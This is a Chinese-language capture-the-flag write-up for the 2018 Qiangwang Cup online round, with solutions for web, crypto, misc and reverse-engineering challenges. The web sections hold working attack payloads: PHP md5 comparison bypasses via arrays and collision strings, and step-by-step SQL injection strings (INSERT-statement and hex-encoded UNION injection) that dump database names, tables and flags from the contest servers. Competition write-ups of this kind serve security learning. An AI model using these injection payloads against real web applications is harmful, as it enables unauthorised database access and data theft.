第二届“强网杯”全国网络安全挑战赛线上赛 WriteUp
比赛入口地址:https://race.ichunqiu.com/2018qwb
这次线上比赛企业高校混赛,企业很多(听说是被要求参赛的)
总共 2600+ 支队伍报名,其中 2300+ 支队伍签到,粗略估计 10000+ 人参赛
第一次看到这么多人参赛,奖金丰厚是主要原因
高分段都是神仙混打,我此等菜鸡只能摸摸鱼
总共放出 36 题,我们只做出 10 题,排名第 68 名
PWN 类题目居多,而且分数很高,得 PWN 者得天下。可我是 PWN 残 emmm...
签到
复制粘贴,成功签到
flag{welcome_to_qwb}
Misc - welcome
Stegsolve.jar
-> Stereogram Solver
-> Offset: 80
Flag: QWB{W3lc0me}
Web - web签到
The Fisrt Easy Md5 Challenge
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){
die("success!");
}
md5('240610708') == md5('QNKCDZO')
POST Data: param1[]=1¶m2[]=
The Second Easy Md5 Challenge
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}
POST Data: param1[]=1¶m2[]=2
POST Data: param1[]=1¶m2[]=
Md5 Revenge Now!
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);
}
param1 == Array();
(string)$_POST['param1'] == 'Array';
md5($_POST['param1']) == false:
一把梭
import requests
import binascii
f1 = '4D C9 68 FF 0E E3 5C 20 95 72 D4 77 7B 72 15 87 D3 6F A7 B2 1B DC 56 B7 4A 3D C0 78 3E 7B 95 18 AF BF A2 00 A8 28 4B F3 6E 8E 4B 55 B3 5F 42 75 93 D8 49 67 6D A0 D1 55 5D 83 60 FB 5F 07 FE A2'
f2 = '4D C9 68 FF 0E E3 5C 20 95 72 D4 77 7B 72 15 87 D3 6F A7 B2 1B DC 56 B7 4A 3D C0 78 3E 7B 95 18 AF BF A2 02 A8 28 4B F3 6E 8E 4B 55 B3 5F 42 75 93 D8 49 67 6D A0 D1 D5 5D 83 60 FB 5F 07 FE A2'
f1 = binascii.unhexlify(''.join([str(x) for x in f1.split(' ')]))
f2 = binascii.unhexlify(''.join([str(x) for x in f2.split(' ')]))
r = requests.session()
r.post('http://39.107.33.96:10000/', data={'param1':f1, 'param2':f2}).text
r.post('http://39.107.33.96:10000/', data={'param1':f1, 'param2':f2}).text
r.post('http://39.107.33.96:10000/', data={'param1':f1, 'param2':f2}).text
'success! flag is QWB{s1gns1gns1gnaftermd5}'
Flag: QWB{s1gns1gns1gnaftermd5}
Web - Python is the best language 1
注册帐号后,在首页 Say something
中依次下列的 SQL 代码,提交,然后刷新一下 Explore
页面,找到这个 ID 为 2 的用户,关注他。
然后就可以在自己的首页上找到我们注入的结果。
先闭合前面的语句,然后再插入一条新的语句,就可以带入我们想要得到的信息。
从代码审计中可以知道数据库的结构以及其他参数应该提供什么。
bandw',2,'2018-03-25'),(NULL,concat(user(),0x3f,database(),0x3f,version()),2,'2018-03-25'); --
QWB@localhost?flask?5.5.51-log
bandw',2,'2018-03-20'),(NULL,concat((select schema_name from information_schema.schemata limit 1,1),0x3e),2,'2018-03-20'); --
flask>
bandw',2,'2018-03-20'),(NULL,concat((select schema_name from information_schema.schemata limit 0,1),0x3e),2,'2018-03-20'); --
information_schema>
bandw',2,'2018-03-20'),(NULL,concat((select schema_name from information_schema.schemata limit 2,1),0x3e),2,'2018-03-20'); --
test>
bandw',2,'2018-03-20'),(NULL,concat((select schema_name from information_schema.schemata limit 3,1),0x3e),2,'2018-03-20'); --
None>
bandw',2,'2018-03-20'),(NULL,concat((select table_name from information_schema.tables where table_schema=0x666c61736b limit 1),0x3e),2,'2018-03-20'); --
flaaaaag>
bandw',2,'2018-03-20'),(NULL,concat((select column_name from information_schema.columns where table_name=0x666c616161616167 and table_schema=0x666c61736b limit 0,1),0x3e),2,'2018-03-20'); --
flllllag>
bandw',2,'2018-03-20'),(NULL,concat((select flllllag from flaaaaag),0x3e),2,'2018-03-20'); --
QWB{us1ng_val1dator_caut1ous}>
Flag: QWB{us1ng_val1dator_caut1ous}
Web - Three hit
这题交互的地方不多,只有注册、登录以及查看谁和我同年龄。
首先关注的是注册,用户名限定了 [a-zA-Z0-9]
,密码的话通过登录之后的返回结果可以看出来已经是经过了 MD5 了,也不可用,剩下的就是年龄。
经过测试可以通过插入十六进制数来绕过只能输入数字的效果。
因此依次先对下列的注入代码转换成十六进制,然后放到年龄那里提交,然后登录查看谁和我同龄,就可以得到数据库中的结果。
1 and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version())#
2
1 and 1=2 union select 1,concat_ws(char(32,58,32),0x7c,user(),database(),version()),3,4#
| : qwb@localhost : qwb : 5.5.52-0ubuntu0.14.04.1
1 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 0,1#
information_schema
1 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1#
qwb
hex(qwb) = 717762
1 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=0x717762 limit 0,1#
flag
hex(flag) = 666c6167
1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=0x717762 and table_name=0x666c6167 limit 0,1#
flag
1 and 1=2 union select 1,flag,3,4 from flag#
QWB{M0b4iDalao0rz0rz}
Flag: QWB{M0b4iDalao0rz0rz}
Crypto - streamgame1
流密码,用到LFSR,之前了解过,不是很懂,只会写个脚本爆破
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
mask = 0b1010011000100011100
key=open("key","rb").read()
for t in range(pow(2,19)):
R=t
get=0
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
if chr(tmp) != key[i]: break
if i == 11: get = 1
if get == 1:
print "flag{%19d}" % int(bin(t)[2:])
break
flag{1110101100001101011}
Crypto - streamgame2
方法同1,附上爆破脚本
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
mask=0x100002
key=open("key","rb").read()
for t in range(pow(2,21)):
R=t
get=0
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
if chr(tmp) != key[i]: break
if i == 11: get = 1
if get == 1:
print "flag{%21d}" % int(bin(t)[2:])
break
flag{110111100101001101001}
Crypto - streamgame4
这题也可以爆破,只不过要几个小时才出结果,建议多线程或者多开。
def nlfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
changesign=True
while i!=0:
if changesign:
lastbit &= (i & 1)
changesign=False
else:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
mask=0b110110011011001101110
key=open("key","rb").read()
for t in range(0, pow(2,21)):
if t % 500 == 0: print "%d / %d" % (t, pow(2,21))
R=t
get=0
for i in range(1024*1024):
tmp=0
for j in range(8):
(R,out)=nlfsr(R,mask)
tmp=(tmp << 1)^out
if chr(tmp) != key[i]: break
if i == 11: get = 1
if get == 1:
print "flag{%21d}" % int(bin(t)[2:])
break
flag{100100111010101101011}
Reverse - simplecheck
安卓题,不难。反编译 classes.dex
看源码
关键点 com.a.simplecheck.a
分析一波
拿起 py 就是干
a = [0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312]
b = [13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108]
c = [38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666]
d = [0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562]
s = [0] * 35
for i in range(34):
for j in range(256):
s[i+1] = j
if a[i] == b[i] * s[i] * s[i] + c[i] * s[i] + d[i]:
if a[i+1] == b[i] * s[i+1] * s[i+1] + c[i] * s[i+1] + d[i]:
break
print s
r = ''
for i in s:
r += chr(i)
print r
flag{MAth_i&_GOOd_DON7_90V_7hInK?}
Reverse - babyre
查壳,没壳,64位。上IDA 64
直接运行显示 nope
查找 strings,找到 nope 和 nothing 两个可能有关系的字符串,分别在 sub_1400059A0+147 和 sub_1400050B0+29 的位置用到
继续分析下去,nothing 是 文件名,程序打开 nothing 文件,读取文件内容。
根据题目给出的加密内容,猜测这个是加密程序。那么测试一下,随便新建一个 nothing 文件,输入一些内容,运行程序,没有显示 nope。
再打开 nothing 文件,发现文件内容被加密,改变内容长度,多尝试几遍可以发现,这是一个 8 字节的分组加密,每组加密之间没有联系,末尾不足 8 字节不做加密。
回到 IDA 跟下去,分析 nope 所在函数是被什么函数调用,注意到 sub_140003A80 函数,里面调用到打开 nothing 文件的函数,判断能否读取到文件内容。如果不能调用显示 nope,如果可以进行加密,并写回到文件里。
往下看,看到一个奇怪的数字 0x9E3779B9 (1640531527),网上查了下,有点像 TEA 加密算法。根据 F5 伪C代码,找出加密算法关键代码和加密密钥,写个解密脚本解密。注意大小端转换。
import base64
dword_7FF62599CDA8 = [0xFACE, 0xDEAD, 0xBABE, 0xD00D]
### C+ij1vcZGUwSQgBUPUG7FuVqh+zQ6/piPc5hHg7JEe1odD99
### 0be8a3d6 f719194c 12420054 3d41bb16 e56a87ec d0ebfa62 3dce611e 0ec911ed
### ht?} 68743f7d
### 63627771 747b6674 5f736968 6e5f7369 745f746f 5f746168 64726168 6769725f
### 7177626374667b746869735f69735f6e6f745f746861745f686172645f72696768743f7d
### qwbctf{this_is_not_that_hard_right?}
enc = base64.b64decode('C+ij1vcZGUwSQgBUPUG7FuVqh+zQ6/piPc5hHg7JEe1odD99').encode('hex')
enc_pairs = []
for i in range(len(enc)/16):
p1 = enc[i*16 : i*16+8]
p2 = enc[i*16+8 : i*16+8+8]
enc_pairs.append([p1, p2])
dec_raw = enc.decode('hex')[-(len(enc)%16)/2:]
def decrypt(enc_pair, key):
v13 = enc_pair[0]
v14 = enc_pair[1]
v15 = 0
v16 = 0
for i in range(32):
v15 -= 1640531527
v15 &= 0xffffffff
v16 = v15
for i in range(32):
v14 -= (v15 + key[(v15 >> 11) & 3]) ^ (v13 + (16 * v13 ^ (v13 >> 5)))
v14 &= 0xffffffff
v15 += 1640531527
v15 &= 0xffffffff
v16 = v15
v13 -= (v15 + key[v16 & 3]) ^ (v14 + (16 * v14 ^ (v14 >> 5)))
v13 &= 0xffffffff
return [v13, v14]
def convert(_int):
ret = hex(_int)[2::]
if ret[-1:] == 'L': ret = ret[:-1]
if len(ret) % 2 == 1: ret = '0' + ret
ret = ret.decode('hex')[::-1].encode('hex')
return int(ret, 16)
dec = ''
for i in enc_pairs:
enc_pair = []
enc_pair.append(convert(int(i[0], 16)))
enc_pair.append(convert(int(i[1], 16)))
dec_pair = decrypt(enc_pair, dword_7FF62599CDA8)
dec_pair[0] = hex(convert(dec_pair[0]))[2:].decode('hex')
dec_pair[1] = hex(convert(dec_pair[1]))[2:].decode('hex')
dec += dec_pair[0]
dec += dec_pair[1]
dec += dec_raw
print dec
qwbctf{this_is_not_that_hard_right?}
Comments